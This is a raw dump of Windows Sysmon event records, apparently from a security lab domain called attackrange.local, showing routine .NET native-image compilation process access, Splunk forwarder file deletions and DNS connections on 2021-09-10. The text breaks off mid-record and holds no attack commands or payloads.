14:44:52.462{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F64-613B-8B09-00000000F001}6948C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044510Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:52.462{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F64-613B-8B09-00000000F001}6948C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044509Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:52.402{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F64-613B-8A09-00000000F001}5820C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044508Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:52.392{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F64-613B-8A09-00000000F001}5820C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044507Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:52.392{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F64-613B-8A09-00000000F001}5820C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044506Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:52.332{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F64-613B-8909-00000000F001}6772C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044505Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:52.322{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F64-613B-8909-00000000F001}6772C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044504Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:52.322{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F64-613B-8909-00000000F001}6772C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000044503Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:52.272{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E61E6E2F9AEAAAC62A45C1A770685ABD,SHA256=3CE08B02B41888E4BCD12BA683FB348354FA2B40067E3D061D36BC60270EAD59,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000044502Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:52.272{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F64-613B-8809-00000000F001}5900C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044501Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:52.252{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F64-613B-8809-00000000F001}5900C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044500Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:52.252{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F64-613B-8809-00000000F001}5900C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044499Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:52.152{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F64-613B-8709-00000000F001}5996C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044498Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:52.142{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F64-613B-8709-00000000F001}5996C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044497Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:52.142{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F64-613B-8709-00000000F001}5996C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044496Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:52.092{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F64-613B-8609-00000000F001}6736C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044495Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:52.072{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F64-613B-8609-00000000F001}6736C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044494Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:52.072{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F64-613B-8609-00000000F001}6736C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000044493Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:52.022{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7699D876C3B357DD89C2AD01FA5A427A,SHA256=E65FF3C4E586D71515E96C83EA5F3978C4F4095EEE500CD4C047E6CCB3AC03F8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000044492Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.991{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F63-613B-8509-00000000F001}7164C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000013965Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:53.415{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=FA4DB19CF5F368F01E379C4EFFA88A6D,SHA256=59881AEA09A7895812AF1E8CB155FF0A716D6A3BC5B9C7A58B7B9CDB28F0BC4F,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000044579Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:53.997{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F65-613B-9D09-00000000F001}6772C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044578Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:53.977{7BD73061-65AF-613B-0500-00000000F001}412428C:\Windows\system32\csrss.exe{7BD73061-6F65-613B-9D09-00000000F001}6772C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044577Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:53.977{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F65-613B-9D09-00000000F001}6772C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 354300x800000000000000044576Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.509{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsefalse10.0.1.14win-dc-387.attackrange.local53domainfalse10.0.1.14win-dc-387.attackrange.local60707- 354300x800000000000000044575Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.508{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsefalse10.0.1.14win-dc-387.attackrange.local52985-false10.0.1.14win-dc-387.attackrange.local53domain 354300x800000000000000044574Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:51.508{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudptruetruea00:10e:0:0:2851:fe7a:82c9:ffff-52985-truea00:10e:0:0:0:0:0:0win-dc-387.attackrange.local53domain 354300x800000000000000044573Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 